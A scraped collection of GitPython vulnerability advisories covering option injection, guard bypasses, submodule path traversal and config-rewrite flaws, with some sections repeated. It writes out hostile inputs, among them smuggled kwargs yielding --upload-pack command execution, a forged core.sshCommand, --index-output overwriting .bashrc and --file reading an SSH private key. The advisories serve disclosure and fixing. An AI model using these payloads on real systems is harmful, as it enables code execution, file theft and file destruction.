allow_unsafe_optionsparameter or acheck_unsafe_options()call.Proof of concept
Observed on published 3.1.57, against a canary file holding three marked lines:
The two precision controls are there so the result is about these sinks and not about the
canary being visible everywhere.
Scope correction to the table above
Of the four sites cleared with that sentence, two disclose and two do not:
IndexFile.remove()→git rmHead.checkout()→git checkoutHEAD.reset()→git resetgit resetdoes not error on unmatched pathspecsIndexFile.move()→git mvThe two negatives are mentioned because "the dismissal was wrong" would overstate it: the
dismissal was wrong for half of what it covered.
Severity
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:NReferences
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
GitPython: Arbitrary Git Repository Creation Outside the Working Tree via Unvalidated .gitmodules Submodule Name in GitPython
CVE-2026-76222 / GHSA-hmq2-w58f-27jc / PYSEC-2026-3784
More information
Details
Summary
GitPython computes the on-disk location of a submodule's separate Git directory (
.git/modules/<name>) from the submodule's.gitmodulessection name with no validation. Because that name is fully attacker-controlled content of a cloned repository, a malicious repository can set a submodule name to a traversal string (e.g.../../../../home/victim/.something) and cause GitPython to create and initialize a full Git repository at an attacker-chosen filesystem path outside the intended clone directory. The only precondition is that a victim clones the malicious repository with GitPython and runs submodule initialization (submodule_update(init=True)/sm.update(init=True)), a very common and often automatic step. Core Git itself already blocks this exact attack class (CVE-2018-11235), but GitPython's independent reimplementation never adopted an equivalent check.Details
src/GitPython/git/objects/submodule/util.pysm_name()strips thesubmodule "/"wrapper from a.gitmodules[submodule "..."]header and returns the result unchecked.Submodule.iter_items()insrc/GitPython/git/objects/submodule/base.pyreads this viasm_name(sms)and assigns it tosm._name; unlike the submodulepath,nameis never used for a tree lookup, so it is never implicitly validated.Submodule._module_abspath()then buildsosp.join(parent_repo.git_dir, "modules", name)-os.path.joindoes not normalize../sequences.Submodule._clone_repo()passes this value straight toos.makedirs()and togit clone --separate-git-dir=<module_abspath>, creating and populating a full Git repository (objects, refs, hooks, config) at the escaped path. Attack prerequisite: attacker controls a repository the victim clones and initializes submodules for.PoC
FROM python:3.11-slim, withgitinstalled viaapt-get install -y git(Debian bookworm packaged version, described in the advisory as "git 2.x"; the host-side verification separately used system git2.34.1, but no exact version is pinned for the git binary inside this Docker image). GitPython is installed inside the container viapip install /src/GitPythonfrom this repository's own source, which the advisory states resolved to the officially releasedGitPython==3.1.57andgitdb==4.0.12.repo.submodules+sm.update(init=True), equivalent togit submodule update --init).(Per the Dockerfile,
docker runexecutes/work/run_all.sh, which in turn runsbuild_attacker_repo.sh, thenpoc_gitpython.py, thenpoc_control_realgit.sh.)4. Full source of the PoC script (
GHSA/testing/poc_gitpython.py), verbatim:.gitmodulessection header from[submodule "legit_dir"]to[submodule "../../../../../../tmp/gitpython_poc_escaped_root/modules_dir"](built bybuild_attacker_repo.sh, part of the harness inGHSA/testing/). The malicious part is the../../../../../../traversal sequence embedded in the submodule name (not the tree-validatedpath), which becomes the on-disk target for the submodule's separate git directory.gitCLI control run) rejects the submodule name with "ignoring suspicious submodule name" and refuses to create anything outside the repository. GitPython instead created the escape-target directory and a fully-initialized Git repository at/tmp/gitpython_poc_escaped_root/modules_dir, confirmed byescape_target exists after update: Trueand its listed contents.url.Impact
Path traversal (CWE-22) / external control of file path (CWE-73) leading to arbitrary directory and Git-repository creation outside the intended clone directory. Integrity impact is High (attacker chooses destination path and, via the submodule URL, much of the written content); Confidentiality impact is None (only creation was demonstrated); Availability impact is Low-Medium (disk-exhaustion potential). No authentication is required; the attacker only needs to control a repository the victim clones and initializes submodules for - a routine, often fully-automatic operation in CI pipelines, IDE integrations, and dependency-management tooling.
Severity
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:LReferences
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
GitPython: git-config OPTION-name injection via =/#/whitespace bypasses name validator, enabling forged core.sshCommand/hooksPath (RCE)
CVE-2026-76221 / GHSA-jm78-9fvv-mhgr / PYSEC-2026-3783
More information
Details
Summary
GitPython's config-name validator only neutralizes CR/LF/NUL for the
"option"label; it does not reject=,#,;,[,], or whitespace in an option name.write_sectionwrites the option name verbatim into the config file, so an option name such assshCommand = touch <cmd> #is written as\tsshCommand = touch <cmd> # = <value>, which git parses ascore.sshCommand = touch <cmd>(the trailing#comments out the intended value). This forges arbitrary config directives (core.sshCommand,core.hooksPath,alias.*) → RCE on the next git operation. This is a distinct field (option name, not section name) and distinct character class (=/#/space, not newline/bracket) from GHSA-3rp5-jjmw-4wv2 (section-name bracket injection) and GHSA-mv93-w799-cj2w / GHSA-v87r-6q3f-2j67 (newline injection).Root Cause
_assure_config_name_safe(name, label)(git/config.py:897) applies the bracket/quote state machine ONLY whenlabel == "section"; for the"option"label it falls through with just theUNSAFE_CONFIG_CHARS_RE = [\r\n\x00]regex.write_sectionthen writes the option name verbatim into"\t%s = %s\n"(config.py:702).Impact
Arbitrary git-config directive injection → remote code execution via
core.sshCommand(fires on any ssh git operation, no staged file needed) orcore.hooksPath(with a staged hook). Requires the embedding application to forward a caller-influenced OPTION NAME into the config writer (name-control model, the same name-control model accepted by the related published advisories GHSA-3rp5-jjmw-4wv2 and GHSA-mv93-w799-cj2w). Default configuration.Proof of Concept
Attack Chain
set_value("core", "sshCommand = touch /tmp/RCE #", "x")._assure_config_name_safe(option, "option")@ config.py. Guard: regex matches only[\r\n\x00]; bracket/quote state machine is gated onlabel=="section". Bypass proof:=,#,space pass → noValueError.write_sectionwrites"\tsshCommand = touch /tmp/RCE # = x\n"(config.py:702).core.sshCommand=touch /tmp/RCE→ arbitrary code execution on next git op.Bypass Evidence
Independently reproduced (gate harness):
set_value('core','sshCommand = touch <RCE> #','x')→ noValueError; file linesshCommand = touch <RCE> # = x;git config --get core.sshCommand→touch <RCE>(rc=0). Also verifiedcore.hooksPathvia bothGitConfigParserandrepo.config_writer(). Fix-commit read: bracket/quote checks are insideif label == "section"; the"option"label is not covered.Affected Versions
GitPython <= 3.1.57(validator present verbatim on the latest release tag).Suggested Fix
Apply the section-name safety checks (reject
=,#,;,[,], whitespace) to the"option"label as well, or validate the fully-rendered config line after substitution.Reported by zx (Jace) — GitHub: @manus-use
Severity
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HReferences
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
GitPython: Unsafe git option guard bypass via split_single_char_options=False short-option token smuggling enables command execution
CVE-2026-76220 / GHSA-wvpp-8hx9-p66j / PYSEC-2026-3843
More information
Details
Summary
The
check_unsafe_optionsguard can be bypassed on every guarded method (clone/clone_from, fetch/pull/push, ls_remote, iter_commits, blame, archive) by combining a single-character kwarg withsplit_single_char_options=False. The guard's candidate list omits the smuggled option, buttransform_kwargemits a JOINED-n<value>argv token that git parses as--upload-pack=<cmd>, yielding arbitrary command execution at the defaultallow_unsafe_options=False. This is an incomplete-fix bypass of commite8d0fbf7(the fix for GHSA-r9mr-m37c-5fr3), which only emits value-derived candidates whensplit_single_char_optionsis True.Root Cause
_option_candidatesderives value-token candidates only underif len(key)==1 and split_single_char_options:(cmd.py:1048, added bye8d0fbf7). Withsplit_single_char_options=False,_option_candidates([], {"n":"utouch <cmd>;git-upload-pack"})returns only['-n'](not on the denylist), so the guard passes. Buttransform_kwarg('n', value, split_single_char_options=False)emits the JOINED token-nutouch <cmd>;git-upload-pack(cmd.py:1631). git clusters value-less short flags then parses-u<cmd>=--upload-pack=<cmd>→ command execution. The hardened guard WOULD block the joined token if it saw it — the flaw is it never receives it.Impact
Arbitrary OS command execution as the host process (via
--upload-pack) at defaultallow_unsafe_options=False, affecting all guarded methods that forward kwargs. Precondition: the app forwards a user-controlled kwargs dict containingsplit_single_char_options=Falseplus a single-char key (same user-dict-forwarding model GHSA-r9mr-m37c-5fr3 accepts).Proof of Concept
Attack Chain
Repo.clone_from(url, path, **kwargs):{split_single_char_options: False, n: 'utouch /tmp/ACE;git-upload-pack'}.check_unsafe_options(_option_candidates([], kwargs), unsafe_git_clone_options). Guard: denylist includes--upload-pack/-u. Bypass proof:_option_candidatesyields only['-n'](value token skipped becausesplit=False); guard never sees-u.transform_kwargemits joined token (cmd.py:1631). argv (observed):['git','clone','-v','-nutouch /tmp/ACE;git-upload-pack','--','<src>','<dst>'].-n+-u<cmd>→ runs upload-pack command → ACE.Bypass Evidence
Independently reproduced (gate harness, default
allow_unsafe_options=False): thesplit=Falsepayload created the markerVH05_GATE_ACE(ACE); the clone returned normally (guard bypassed). Control:n='--upload-pack=…'(split default True) →UnsafeOptionError: --upload-pack is not allowed. Fix-commit read:e8d0fbf7extends candidates only underif len(key)==1 and split_single_char_options:— split=False skips value emission. Also confirmed the earlier clustering-parse fix (commit56806080) does not cover this because the guard only ever receives['-n'].Affected Versions
GitPython <= 3.1.57(code present verbatim on the latest release tag).Suggested Fix
Make
_option_candidatesemit value-derived candidates regardless ofsplit_single_char_options(i.e. also for the joined-n<value>form), OR runcheck_unsafe_optionsover the fully-transformed argv rather than the reconstructed name-only candidate list.Reported by zx (Jace) — GitHub: @manus-use
Severity
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HReferences
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
CVE-2026-76221 / GHSA-jm78-9fvv-mhgr / PYSEC-2026-3783
More information
Details
GitPython before 3.1.58 contains a config-name injection vulnerability in the option-name validator that allows attackers to forge arbitrary git-config directives by injecting equals signs, hash symbols, and whitespace into option names. Attackers can inject malicious option names like 'sshCommand = touch /tmp/RCE #' to execute arbitrary commands via core.sshCommand or core.hooksPath on the next git operation.
Severity
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:XReferences
This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).
CVE-2026-76222 / GHSA-hmq2-w58f-27jc / PYSEC-2026-3784
More information
Details
GitPython before 3.1.58 fails to validate submodule names from .gitmodules files, allowing attackers to create Git repositories at arbitrary filesystem paths outside the intended clone directory. Attackers can craft malicious repositories with traversal sequences in submodule names that GitPython processes during submodule initialization, creating attacker-controlled Git repositories at escaped filesystem locations.
Severity
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:XReferences
This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).
GitPython: Unguarded git read-tree option forwarding in IndexFile.from_tree/reset/merge_tree enables arbitrary file overwrite
CVE-2026-76219 / GHSA-4gmw-gg2m-w46p / PYSEC-2026-3838
More information
Details
Summary
IndexFile.from_tree,IndexFile.reset(→ from_tree) andIndexFile.merge_treeappend caller-influenced treeish strings positionally togit read-treewith no unsafe-option guard, noallow_unsafe_optionsparameter, and no--separator.git read-tree --index-output=<file>writes the resulting index to an arbitrary path, and last-occurrence-wins lets an injected--index-outputoverride the method's internal temp path — clobbering an arbitrary file with a valid git-index blob. This is a distinct, never-guarded sink: commit3af0c251(GHSA-3f7w-8rr8-f37f) guarded onlycheckout_indexandtag;read_treewas left unprotected (it is among the acknowledged unguarded call sites in that advisory's sweep but was never reported or fixed).Root Cause
from_tree(index/base.py:388),reset(delegates to from_tree), andmerge_tree(index/base.py:291) callrepo.git.read_tree(*arg_list)with nocheck_unsafe_optionsand no--. The treeish is caller-influenced and positional.Impact
Arbitrary file overwrite / destruction at the privileges of the host process. Content is constrained to a git-index blob (not attacker-chosen, so not RCE), but the target path is fully attacker-controlled — corrupting/truncating configs or destroying files at attacker-chosen writable locations = I:H + A:H (per the skill's "overwrite-any-path = I:H" rule). Pure VALUE control (positional treeish). Default configuration.
Proof of Concept
Attack Chain
IndexFile.from_tree(repo, treeish)/reset(commit=…)/merge_tree(base=…, rhs=…)with attackertreeish="--index-output=/home/victim/.bashrc".allow_unsafe_optionsand never callcheck_unsafe_options.repo.git.read_tree(*arg_list)— no--. argv (from_tree, observed):['git','read-tree','--index-output=<tmp>','--index-output=/…/victim'](last-wins).Bypass Evidence
Independently reproduced (gate harness):
IndexFile.from_tree(repo,'--index-output=<victim>')→ victim overwritten; before=IMPORTANT ORIGINAL CONTENT, after startsDIRC\x00\x00\x00\x02…(destructive clobber, valid index blob).reset(commit=…)and bothmerge_treepositionals verified. Fix-commit read:3af0c251touched onlycheckout_index+tag;read_treeuntouched on HEAD.Affected Versions
GitPython <= 3.1.57(sinks present verbatim on the latest release tag).Suggested Fix
Add a
check_unsafe_optionsguard (with anallow_unsafe_optionsparameter) tofrom_tree/reset/merge_tree, and/or place a--separator before the positional treeish arguments; block--index-output(a path-taking option) on this sink.Severity
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:HReferences
This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).
GitPython: Unguarded git option forwarding in Repo.init enables arbitrary command execution via --template clone hooks
CVE-2026-76218 / GHSA-9rj7-rf2p-w77r / PYSEC-2026-3840
More information
Details
Summary
Repo.init()forwards**kwargsverbatim togit initwith no unsafe-option guard and noallow_unsafe_optionsparameter.git init --template=<dir>copies<dir>/hooks/*into the new repo's.git/hooks, so an attacker-controlledtemplatekwarg plants a hook that executes on the next git operation → arbitrary code execution.--templateis already recognized as unsafe for clone (it is onunsafe_git_clone_options, and GHSA-6p8h-3wgx-97gf covers the clone path), butRepo.initis a distinct method that never received a guard and needs an independent fix.Root Cause
Repo.init(path, mkdir, odbt, expand_vars, **kwargs)is a baregit.init(**kwargs)(git/repo/base.py:1435) with nocheck_unsafe_optionsand noallow_unsafe_options.Impact
Arbitrary code execution (hook fires on next git op) at the privileges of the host process. Two preconditions raise attack complexity (AC:H): the app must forward a
template=kwarg (KEY control) AND the attacker must stage an executable hook directory at a known path — the same profile GHSA-6p8h-3wgx-97gf accepted as HIGH for the clone path. Defaultallow_unsafe_optionsis irrelevant here becauseRepo.inithas no guard at all.Proof of Concept
Attack Chain
/evil/hooks/post-commit(executable) and gets the app to callRepo.init(path, template='/evil').Repo.init. Bypass proof: base.py:1435 is a baregit.init(**kwargs). argv (observed):['git','init','--template=/evil']./evil/hooks/post-commit→<repo>/.git/hooks/post-commit.Bypass Evidence
Independently reproduced (gate harness):
Repo.init(dst, template='<evil>')→ argv['git','init','--template=<evil>']unguarded; hook copied into.git/hooks/post-commit; aftergit committheINIT_ACEmarker was created.--separate-git-dir=<path>is a parallel arbitrary-redirect vector through the same unguarded sink (value control only).Affected Versions
GitPython <= 3.1.57(unguardedgit.init(**kwargs)present verbatim on the latest release tag).Suggested Fix
Add a
check_unsafe_optionsguard (with anallow_unsafe_optionsparameter) toRepo.init, consulting a denylist that includes--templateand--separate-git-dir(path-taking / hook-installing options).Reported by zx (Jace) — GitHub: @manus-use
Severity
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:HReferences
This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).
GitPython: Arbitrary file read via --pathspec-from-file in IndexFile.remove() and Head.checkout()
CVE-2026-76217 / GHSA-hh9p-6wh2-4mfc / PYSEC-2026-3841
More information
Details
Summary
IndexFile.remove()andHead.checkout()forward**kwargsintogit rmandgit checkoutwith no guard. Passing
--pathspec-from-file=<file>together with--pathspec-file-nulmakes Git treat the whole file as a single NUL-delimited pathspec, and the unmatched-pathspec
error quotes it verbatim. GitPython surfaces that through
GitCommandError.stderr, so theentire contents of a caller-chosen file are returned to the caller in band.
This is the same primitive as Instance 2 of
GHSA-3f7w-8rr8-f37f -
TagReference.create()with
-F, arbitrary file read returned in band - at two sites that advisory assessed andcleared.
Prior art, and why I am filing rather than commenting
GHSA-3f7w-8rr8-f37f's sweep table lists these four sites with the assessment
"
--pathspec-from-fileonly reads a pathspec; no write or disclosure primitive found":IndexFile.remove()rm--pathspec-from-fileonly reads a pathspec; no write or disclosure primitive foundIndexFile.move()mvHEAD.reset()resetHEAD.checkout()checkoutThat assessment is very nearly right, and I think that is why it held: with
--pathspec-from-filealone, Git splits on newlines and the error quotes only the firstline, which reads as an uninteresting partial. Adding
--pathspec-file-nul- a sibling flagof the same option, and the documented way to handle paths containing newlines - makes the
whole file one pathspec.
Root cause
git/index/base.py:991-1043:git/refs/head.py:237-268:Neither has an
allow_unsafe_optionsparameter or acheck_unsafe_options()call.Proof of concept
Observed on published 3.1.57, against a canary file holding three marked lines:
The two precision controls are there so the result is about these sinks and not about the
canary being visible everywhere.
Scope correction to the table above
Of the four sites cleared with that sentence, two disclose and two do not:
IndexFile.remove()→git rmHead.checkout()→git checkoutHEAD.reset()→git resetgit resetdoes not error on unmatched pathspecsIndexFile.move()→git mvThe two negatives are mentioned because "the dismissal was wrong" would overstate it: the
dismissal was wrong for half of what it covered.
Severity
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:NReferences
This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).
GitPython: Unsafe git option guard bypass via split_single_char_options=False short-option token smuggling enables command execution
CVE-2026-76220 / GHSA-wvpp-8hx9-p66j / PYSEC-2026-3843
More information
Details
Summary
The
check_unsafe_optionsguard can be bypassed on every guarded method (clone/clone_from, fetch/pull/push, ls_remote, iter_commits, blame, archive) by combining a single-character kwarg withsplit_single_char_options=False. The guard's candidate list omits the smuggled option, buttransform_kwargemits a JOINED-n<value>argv token that git parses as--upload-pack=<cmd>, yielding arbitrary command execution at the defaultallow_unsafe_options=False. This is an incomplete-fix bypass of commite8d0fbf7(the fix for GHSA-r9mr-m37c-5fr3), which only emits value-derived candidates whensplit_single_char_optionsis True.Root Cause
_option_candidatesderives value-token candidates only underif len(key)==1 and split_single_char_options:(cmd.py:1048, added bye8d0fbf7). Withsplit_single_char_options=False,_option_candidates([], {"n":"utouch <cmd>;git-upload-pack"})returns only['-n'](not on the denylist), so the guard passes. Buttransform_kwarg('n', value, split_single_char_options=False)emits the JOINED token-nutouch <cmd>;git-upload-pack(cmd.py:1631). git clusters value-less short flags then parses-u<cmd>=--upload-pack=<cmd>→ command execution. The hardened guard WOULD block the joined token if it saw it — the flaw is it never receives it.Impact
Arbitrary OS command execution as the host process (via
--upload-pack) at defaultallow_unsafe_options=False, affecting all guarded methods that forward kwargs. Precondition: the app forwards a user-controlled kwargs dict containingsplit_single_char_options=Falseplus a single-char key (same user-dict-forwarding model GHSA-r9mr-m37c-5fr3 accepts).Proof of Concept
Attack Chain
Repo.clone_from(url, path, **kwargs):{split_single_char_options: False, n: 'utouch /tmp/ACE;git-upload-pack'}.check_unsafe_options(_option_candidates([], kwargs), unsafe_git_clone_options). Guard: denylist includes--upload-pack/-u. Bypass proof:_option_candidatesyields only['-n'](value token skipped becausesplit=False); guard never sees-u.transform_kwargemits joined token (cmd.py:1631). argv (observed):['git','clone','-v','-nutouch /tmp/ACE;git-upload-pack','--','<src>','<dst>'].-n+-u<cmd>→ runs upload-pack command → ACE.Bypass Evidence
Independently reproduced (gate harness, default
allow_unsafe_options=False): thesplit=Falsepayload created the markerVH05_GATE_ACE(ACE); the clone returned normally (guard bypassed). Control:n='--upload-pack=…'(split default True) →UnsafeOptionError: --upload-pack is not allowed. Fix-commit read:e8d0fbf7extends candidates only underif len(key)==1 and split_single_char_options:— split=False skips value emission. Also confirmed the earlier clustering-parse fix (commit56806080) does not cover this because the guard only ever receives['-n'].Affected Versions
GitPython <= 3.1.57(code present verbatim on the latest release tag).Suggested Fix
Make
_option_candidatesemit value-derived candidates regardless ofsplit_single_char_options(i.e. also for the joined-n<value>form), OR runcheck_unsafe_optionsover the fully-transformed argv rather than the reconstructed name-only candidate list.Reported by zx (Jace) — GitHub: @manus-use
Severity
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HReferences
This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).
GitPython: Dormant multi-line git-config values are corrupted into live injected directives (e.g. core.hooksPath) on any unrelated GitConfigParser write, enabling RCE
CVE-2026-78676 / GHSA-284h-m62q-gf8w / PYSEC-2026-3786
More information
Details
git/config.py—GitConfigParser._read()(multi-line value decoding, lines 444-541, esp.string_decode()at line 460 and its call sites at 519/541) andGitConfigParser._write()/write_section()(serialization, lines ~694-712, esp. line 708)9729ed3b948f2bde09f1f188c5311e172212b67e, 2026-08-05, VERSION3.1.58)Reachability
GitPython added
UNSAFE_CONFIG_CHARS_RE/_value_to_string_safe()/_assure_config_name_safe()guards (commitsc417af46,1ed1b924,a495ccd3, and PR #2176) to reject a Python string containing a raw\r/\n/NUL byte, or syntax-bearing characters, when it is passed as an argument toset(),set_value(),add_value(), oradd_section(). This closed the four config-injection GHSAs above.That guard is applied only on the write-argument surface. It is never consulted for values that entered
GitConfigParser._sectionsvia_read()— i.e. values that came from parsing an on-disk config file. And_read()legitimately supports standard, spec-compliant git config syntax for multi-line values: a quoted value that is not closed on the same physical line continues onto the next physical line (git's own backslash-continuation syntax), andstring_decode()(.decode('unicode_escape')) decodes a literal two-character\nescape sequence inside such a value into a real embedded LF character in the resulting Python string. No raw control byte is ever written to disk to achieve this — it's the same syntax realgititself uses and accepts.The bug is in what happens when that
GitConfigParseris later flushed:write_section()(line ~694) calls the unsafeself._value_to_string(v)— not_value_to_string_safe()— and "handles" any embedded newline in the value with.replace("\n", "\n\t")(line 708), emitting a bare, unquoted<real newline><tab>in the output file with no re-quoting and no backslash-continuation marker. Real git does not treat an indentation-only continuation the way GitPython's writer assumes — a value only continues across physical lines when the previous line ends in a literal\immediately before the newline. So the momentwrite_section()re-serializes a previously-decoded multi-line value this way, the second half of that value becomes an independent, new config line the next time anyone (GitPython or realgit) parses the file. If an attacker chooses the dormant value's content to be<anything>\nhooksPath = <attacker path>, that second line is parsed as a brand-newcore.hooksPath = <attacker path>directive — live, real Git configuration, not a value.core.hooksPathis honored by essentially every hook-firing git operation (commit,checkout,merge,push,rebase, ...), giving arbitrary code execution the next time the host application performs any hook-triggering operation.Root cause
GitConfigParser's injection guard is asymmetric: it hardens every write-argument entry point (the fix for the four sibling GHSAs) but never hardens the read → corrupt-on-rewrite round trip. A value that is 100% legitimate and inert as parsed from disk becomes a newly-injected directive purely through GitPython's own broken re-serialization logic (write_section()using the unsafe value-to-string path plus a continuation scheme real git doesn't recognize). Thec417af46commit message even states its intent explicitly: "This preserves existing read behavior for config files that already contain multiline values while preventing GitPython from writing new unsafe values" — i.e. the maintainers consciously scoped the fix to the write-argument surface and did not address what happens when an already-resident multi-line value gets rewritten.Exploit path
.git/config(or any file merged into it via[include], see below) already contains a dormant, syntactically-legitimate multi-line quoted value, e.g.: No raw\r,\n, or NUL byte appears on disk — this is standard git quoting + backslash-continuation. Realgit config --get core.hookspathreturns nothing at this point (inert);git config --get core.zzzreturns the decoded stringA\nhooksPath = ../evil-hooks, identically to GitPython's own reader.git.Repo(path),read_only=Falseimplicitly for a normalconfig_writer()use) and performs any single, unrelated, legitimate config write on the sameGitConfigParserinstance — e.g.repo.config_writer().set_value("user", "name", "Test User"). This is one of the most ordinary operations a GitPython-based tool performs.GitConfigParser._write()/write_section()re-serializes every resident value, including the dormantzzzentry, using the unsafe path. The file on disk now contains, verbatim:git config --get core.hookspathnow returns../evil-hooks— a key that did not exist before step 2, created purely by GitPython's own write.git commit) executes../evil-hooks/pre-commit(or whatever hook name the operation looks for), i.e. arbitrary attacker-chosen code execution.Impact
Arbitrary code execution, on par with (and more directly triggered than) the already-accepted, High-severity
GHSA-mv93-w799-cj2w/GHSA-v87r-6q3f-2j67"Newline injection... enables RCE via core.hooksPath" advisories, and requiring no unsafe caller argument at all — only an attacker-influenced config file plus one ordinary, unrelated write.Preconditions
<anything>\n<injected-key> = <injected-value>. Realistic delivery:.gitdirectory shipped with a repository — vendored/template repos, CI workspace/layer caches that preserve.git, "repo" tarball/zip distributions that include.git/config. The poisoned value sits directly in.git/config.[include]pattern ([include] path = ../<repo-tracked-file>, pointing at a file inside the working tree) —GitConfigParser.read()merges included files' sections into the same_sectionsdict used for writing, so a malicious public repository can ship the poisoned value inside a normal tracked file and have it activated the first time any GitPython-based tool performs any unrelated config write after clone (this requires the victim's own.git/configto already reference the include, e.g. via project setup tooling that addsinclude.path).GHSA-v87r-6q3f-2j67(their writeup cites MLRun'sproject.push()).Evidence
git/config.py:460(string_decode), invoked atgit/config.py:519and:541inside_read()'s multi-line handling — decodesunicode_escape, turning a literal\nescape into a real embedded LF.git/config.py:~694-712(_write()/write_section()) — usesself._value_to_string(v)(unsafe variant) and.replace("\n", "\n\t")with no re-quoting.c417af46(the CR/LF/NUL guard commit) touches only the setter path and explicitly states it preserves existing read behavior for multi-line values, per its own commit message.git log -S"string_decode",-S"write_section",-S'replace("\n", "\n\t")'ongit/config.pyshow these code paths have only ever been touched by non-security formatting/refactor commits (a5fc1d86,b825dc74,cb68eef0,21ec5299), never by a security fix.gitpython-002-poc.py, embedded below) reproduces the full chain end-to-end against this exact checkout: dormant value → one unrelatedconfig_writer()write →core.hookspathbecomes live per realgit config --get→ a subsequentgit commitexecutes the injected hook and writes a benign marker file.False-positive check (adversarial re-read)
UNSAFE_CONFIG_CHARS_RE/VALID_CONFIG_OPTION_NAME_RE/the section quote-state-machine. This finding requires no such caller argument: the payload is smuggled entirely inside a config file using standard, valid git escaping that the guard never inspects, and only becomes dangerous through GitPython's own unguarded re-serialization of a value it already holds. Confirmed via_known-advisories.json(26 entries, none withdrawn) — none describe this read→corrupt-on-rewrite mechanism..git/configis rewritten by realgit config user.name Test2(a control test), the multi-linezzzentry is preserved byte-for-byte in its original quoted/continuation form — only GitPython's writer corrupts it.hooksPath = ...line before it's trusted? No — once on disk, it is indistinguishable from a directive the user set intentionally;core.hooksPathis honored unconditionally by git's hook-invocation machinery.GHSA-v87r-6q3f-2j67.config_writer()write →core.hookspathlive per real git → hook fires ongit commit, marker file written).Remediation
Either (a) make
write_section()/_write()use_value_to_string_safe()(or equivalent re-quoting) for every resident value, including those that originated from_read(), so an embedded newline is always re-emitted as a properly quoted+backslash-continued value rather than a bare new line, or (b) reject/neutralize embedded control characters in values at read time before they can reach_sectionsat all if the parser is opened inread_only=Falsemode, or (c) canonicalize output using git's owngit config --file <path> --replace-allsemantics instead of a hand-rolled writer. Option (a) is the most surgical fix and matches the spirit of_value_to_string_safe()already used on the setter path.Confidence
High. Root cause independently re-derived and confirmed by direct code reading; full exploit chain (dormant value → benign unrelated write → live
core.hookspath→ hook execution with a benign marker) reproduced twice, independently, against the current HEAD.Proof-of-Concept source (
gitpython-002-poc.py)Severity
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:NReferences
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
GitPython: TagReference.create positional reference bypasses kwargs-only --file guard, enabling arbitrary file read (incomplete fix of 3af0c251)
CVE-2026-78679 / GHSA-3wxw-xv34-2frg / PYSEC-2026-3837
More information
Details
Summary
TagReference.create()forwards a caller-influenced positionalreferencevalue intogit tagwithout it ever being inspected by the unsafe-option guard, allowing an arbitrary file read (the file's contents are returned in-band as the annotated tag message). This is an incomplete-fix bypass of commit3af0c251(the fix for GHSA-3f7w-8rr8-f37f's tag instance).Root Cause
The fix
3af0c251addedunsafe_git_tag_options = ["--file","-F"]and a guard call, but the guard isGit.check_unsafe_options(options=Git._option_candidates([], kwargs), unsafe_options=...)atgit/refs/tag.py:139— it passes an EMPTY args list and inspects kwargs only. The dangerous valuespathandreferenceare POSITIONALS (args = (path, reference), tag.py:156), placed before any--. A user-influencedreference="--file=<path>"therefore reachesgit tagas the exact--fileoption the fix intended to block, creating an annotated tag whose message is the file's contents.Impact
Arbitrary local file read at the privileges of the host process; contents returned in-band via
tagref.tag.message. Requires the embedding application to forward a caller-influencedreferencevalue intoTagReference.create()(pure VALUE control — the CVE-2026-42215 threat model). Defaultallow_unsafe_options=False.Proof of Concept
Attack Chain
TagReference.create(repo, name, reference=<user>)withreference="--file=/home/app/.ssh/id_rsa".Git.check_unsafe_options(_option_candidates([], kwargs), ["--file","-F"])@ tag.py:137-141. Guard: denylist includes--file/-F. Bypass proof:_option_candidatesreceivesargs=[]→ the positionalreferenceis never a candidate (the kwarg spellingfile="…"IS blocked; only the positional escapes).repo.git.tag(*args, **kwargs)@ tag.py:158 → no--. argv (observed):['git','tag','-f','vpwn','--file=<secret>'].tagref.tag.message== file contents (arbitrary file read).Bypass Evidence
Independently reproduced (independent test harness, git 2.43.0, default
allow_unsafe_options=False):TagReference.create(repo,'vp','--file=<secret>')→ PASSED;tag.message == 'GATE_SECRET_LINE_A\nGATE_SECRET_LINE_B'. Control:TagReference.create(..., file='<secret>')→UnsafeOptionError: --file is not allowed. Fix-commit read:3af0c251adds_option_candidates([], kwargs)(empty args → positional never a candidate).Affected Versions
GitPython <= 3.1.58(sink present verbatim on the latest release tag;git diff 3.1.57..HEADtouches only test files).Suggested Fix
Include the positional
reference(andpath) in the option-candidate list passed tocheck_unsafe_options, or place a--separator before the positional arguments inTagReference.create().Reported by zx (Jace) — GitHub: @manus-use
Severity
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:NReferences
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
GitPython: Incomplete unsafe_git_revision_options denylist omits --contents/-S, enabling arbitrary file read via Repo.blame()
